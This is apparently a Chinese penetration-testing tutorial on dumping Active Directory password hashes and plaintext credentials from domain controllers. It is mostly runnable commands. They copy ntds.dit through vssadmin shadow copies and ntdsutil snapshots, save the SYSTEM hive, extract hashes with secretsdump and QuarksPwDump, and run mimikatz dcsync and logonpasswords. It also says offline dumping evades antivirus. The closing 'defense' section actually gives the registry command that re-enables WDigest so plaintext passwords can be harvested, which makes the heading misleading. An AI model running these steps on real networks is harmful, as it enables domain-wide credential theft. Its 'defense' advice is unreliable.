获取域hash并破解
ntds.dit
ntds.dit是主要的AD数据库,存放在C:\Windows\NTDS\NTDS.dit,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密
获取方式分为两种:
1.在线获取
2.离线获取
注意:
在域环境中,建议不要直接在线获取hash,特别是域环境比较大的时候,在线获取hash等待时候较长,工具占用资源太多,容易造成域控服务器崩溃。
在线获取
适用于域用户较少的时候
工具:
wce、gethashes、mimikatz
离线获取
导出ntds.dit 和 system文件,下载到本地 (这两个文件属于系统特殊文件,不能直接复制粘贴,需要采取特殊方法进行复制粘贴,类似的还有SAM文件。)
获取方法一:卷影拷贝法
利用vssadmin命令
(1)创建C盘卷影拷贝
vssadmin create shadow /for=c:
获得地址 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4
(2) 复制ntds.dit和system文件(将文件复制到c盘下)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit c:\\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\system32\config\system c:\\
图为复制到域控下某台机器上
(3)复制完之后删除卷影
(4)破解hash
复制完保存在本地,利用impacket工具包 在impacket/example下
secretsdump.py -ntds ntds.dit文件的位置 -system system文件的位置 local
获取方法二:利用ntsdutil.exe工具
NtdSutilexe是一个为Active Directory提供管理设施的命令行工具。
(1)使用ntdsutil.exe,进入ntdsutil.exe命令行
(2)使用snapshot,进入快照管理命令行
(3)创建新快照
activate instance ntds
create
(4)使用mount挂载快照,得到一个地址
mount {a90b5261-9d55-42d0-a19d-d414c7f962f1}
(5)另起一个cmd,复制快照种的ntds
copy C:\$SNAP_202002141741_VOLUMEC$\windows\ntds\ntds.dit
(6)卸载并删除快照
(7)保存system
reg save hklm\system system.hive
(8)破解hash
使用QuarksPwDump-off-line进行离线破解
QuarksPwDump-off-line -dhd -nt ntds.dit -sf system.hive -o hashs.txt
获取域hash其他方法
其他工具
导出工具
1.ntdsutil
2.diskshadow.exe
13.vssown
4.auxiliary/admin/smb/psexec.ntdsgrab#msf模块
5.使用PowerSploit的Invoke-NinjaCopy远程提取ntds.dit
读取工具
NTDSDumpEx.exe
只获取特定用户的hash
进入mimikatz命令行模式
lsadump::dcsync /dc:win08.superman.com /domain:superman.com /user:用户名
获取明文密码
分两种情况:
1.在域控上获取明文密码
2.在普通域服务器上获取明文密码
再次提示:
在域环境中,不要直接在线获取hash,特别是域环境比较大的时候,在线获取hash等待时时间较长,工具占用资源太多,容易造成域控服务器崩溃。
1.在域控上获取明文密码
1.利用wce
wce -w
2.利用mimikatz
直接cmd调用
mimikatz.exe "sekurlsa::logonpasswords" exit
离线获取,能绕过杀软
离线获取明文密码
2.在普通域服务器上获取明文密码
普通域用户无法获取明文密码,不管是wce还是mimikatz
普通域用户无法获取明文密码,因为利用工具获取明文密码需要从系统进程lsass.exe的内存空间中读取,域普通用户的权限小于系统进程的system权限,所以没有办法从系统进程lsass.exe的内存空间中读取明文密码
防御方法
关于wce和mimikatz以及lsass.exe
Windows8.1以上版本或打过KB2871997补丁的机器,lsass中不会存储密码,如果想抓取密码,可以将注册表HKLM(HKEY LOCAL MACHINE)\SYSTEM\CurrentControlSet\Control\securityProviders\Wdigest下的UseLogonCredential设置为1,类型为DWORD32
可以使用命令:
Reg add HKLM\SYSTEM\CurrentControlSet\Control\securityProviders Wdigest/v UselogonCredential/t REG_DWORD /d1